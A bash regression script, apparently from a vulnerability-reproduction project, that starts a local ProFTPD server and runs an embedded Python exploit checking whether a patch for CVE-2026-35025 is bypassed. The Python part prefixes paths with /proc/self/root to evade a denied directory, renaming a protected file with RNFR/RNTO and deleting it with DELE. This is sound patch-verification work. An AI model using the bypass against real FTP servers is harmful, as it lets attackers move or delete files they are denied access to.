#!/bin/bash
set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS"
mkdir -p "$ARTIFACTS"

cd "$ROOT"

exec > >(tee -a "$LOGS/dele_variant_patched_test.log")
exec 2>&1

PROFTPD="/data/pruva/project-cache/e16fa440-7670-4503-8601-378cf2096f7e/repo-patched/proftpd"
PORT=2123
CURRENT_USER="${USER:-$(id -un)}"
CURRENT_UID="$(id -u)"
CURRENT_GID="$(id -g)"
GROUP_NAME="vscode"

TEST_ROOT="$ARTIFACTS/ftp-root-patched"
PID_FILE="$ARTIFACTS/proftpd-patched.pid"
SCOREBOARD_FILE="$ARTIFACTS/proftpd-patched.scoreboard"
PASSWD_FILE="$ARTIFACTS/proftpd-patched.passwd"
GROUP_FILE="$ARTIFACTS/proftpd-patched.group"
CONF_FILE="$ARTIFACTS/proftpd-patched.conf"

cleanup() {
    if [ -f "$PID_FILE" ]; then
        kill "$(cat "$PID_FILE")" 2>/dev/null || true
    fi
    rm -f "$PID_FILE" "$SCOREBOARD_FILE"
}

trap cleanup EXIT

rm -rf "$TEST_ROOT"
mkdir -p "$TEST_ROOT/protected"
mkdir -p "$TEST_ROOT/public"

echo "SECRET-DELE-VARIANT-PATCHED" > "$TEST_ROOT/protected/secret.txt"
echo "LEAKED" > "$TEST_ROOT/public/leaked.txt"

chmod 755 "$TEST_ROOT" "$TEST_ROOT/protected" "$TEST_ROOT/public"
chmod 644 "$TEST_ROOT/protected/secret.txt" "$TEST_ROOT/public/leaked.txt"

HASH="$(openssl passwd -1 testpass)"
printf '%s\n' "${CURRENT_USER}:${HASH}:${CURRENT_UID}:${CURRENT_GID}:${CURRENT_USER}:${TEST_ROOT}:/bin/false" > "$PASSWD_FILE"
printf '%s\n' "${GROUP_NAME}:x:${CURRENT_GID}:${CURRENT_USER}" > "$GROUP_FILE"
chmod 600 "$PASSWD_FILE" "$GROUP_FILE"

export TEST_ROOT
export CURRENT_USER
export PORT

cat > "$CONF_FILE" <<EOF
ServerName "ProFTPD-CVE-2026-35025-DELE-PATCHED"
ServerType standalone
DefaultServer on
Port $PORT
User $CURRENT_USER
Group $GROUP_NAME

AuthUserFile $PASSWD_FILE
AuthGroupFile $GROUP_FILE
RequireValidShell off
AuthOrder mod_auth_file.c

UseIPv6 off
UseReverseDNS off
ScoreboardFile $SCOREBOARD_FILE
PidFile $PID_FILE

<Directory $TEST_ROOT>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>

<Directory $TEST_ROOT/protected>
  <Limit ALL>
    DenyAll
  </Limit>
</Directory>

<Directory $TEST_ROOT/public>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>
EOF

rm -f "$PID_FILE" "$SCOREBOARD_FILE"
"$PROFTPD" -c "$CONF_FILE" -d 10 > "$LOGS/proftpd_dele_patched.log" 2>&1 &
PROFTPD_PID=$!

for i in $(seq 1 30); do
    if nc -z localhost "$PORT" 2>/dev/null; then
        echo "ProFTPD (patched) is listening on port $PORT"
        break
    fi
    if ! kill -0 "$PROFTPD_PID" 2>/dev/null; then
        echo "ProFTPD (patched) exited prematurely (see logs/proftpd_dele_patched.log)"
        exit 1
    fi
    sleep 1
done
nc -z localhost "$PORT" 2>/dev/null || { echo "ProFTPD (patched) failed to start (see logs/proftpd_dele_patched.log)"; exit 1; }

PYTHON_SCRIPT="$ARTIFACTS/dele_exploit_patched.py"
cat > "$PYTHON_SCRIPT" <<'PYEOF'
import ftplib
import os
import sys

host = "localhost"
port = int(os.environ.get("PORT", "2123"))
user = os.environ.get("CURRENT_USER", "testuser")
passwd = "testpass"

results = {}

ftp = ftplib.FTP()
ftp.connect(host, port)
ftp.login(user, passwd)
print(f"Logged in as {user}")

protected_path = os.path.join(os.environ["TEST_ROOT"], "protected", "secret.txt")

def restore_file():
    with open(protected_path, "w") as f:
        f.write("SECRET-DELE-VARIANT-PATCHED\n")
    os.chmod(protected_path, 0o644)

restore_file()

print("\n=== Test 1: RNFR exploit on patched version should be blocked ===")
proc_path = "/proc/self/root" + protected_path
public_path = os.path.join(os.environ["TEST_ROOT"], "public", "leaked2.txt")
ftp.voidcmd("TYPE I")
try:
    resp = ftp.sendcmd(f"RNFR {proc_path}")
    print(f"RNFR response: {resp}")
    if resp.startswith("350"):
        try:
            ftp.sendcmd(f"RNTO {public_path}")
            print("RNFR/RNTO allowed on patched version (fix incomplete)")
            results["patched_rnfr"] = "ALLOWED"
        except ftplib.error_perm as e:
            print(f"RNTO denied: {e}")
            results["patched_rnfr"] = "RNTO_DENIED"
    else:
        print("RNFR denied on patched version (fix working)")
        results["patched_rnfr"] = "DENIED"
except ftplib.error_perm as e:
    print(f"RNFR denied on patched version: {e}")
    results["patched_rnfr"] = "DENIED"
except Exception as e:
    print(f"RNFR error: {e}")
    results["patched_rnfr"] = f"ERROR: {e}"

restore_file()

print("\n=== Test 2: DELE variant on patched version (bypass check) ===")
try:
    ftp.delete(proc_path)
    print("Proc-prefixed DELE allowed on patched version (bypass!)")
    results["patched_dele"] = "ALLOWED"
except ftplib.error_perm as e:
    print(f"Proc-prefixed DELE denied on patched version: {e}")
    results["patched_dele"] = "DENIED"
except Exception as e:
    print(f"Proc-prefixed DELE error: {e}")
    results["patched_dele"] = f"ERROR: {e}"

ftp.quit()

print("\n=== Results ===")
for k, v in results.items():
    print(f"{k}: {v}")

if results.get("patched_rnfr") == "DENIED" and results.get("patched_dele") == "ALLOWED":
    print("\nBypass confirmed: proposed RNFR fix does not block DELE variant")
    sys.exit(0)
else:
    print("\nBypass not confirmed as expected")
    sys.exit(1)
PYEOF

python3 "$PYTHON_SCRIPT"
EXIT_CODE=$?
exit $EXIT_CODE
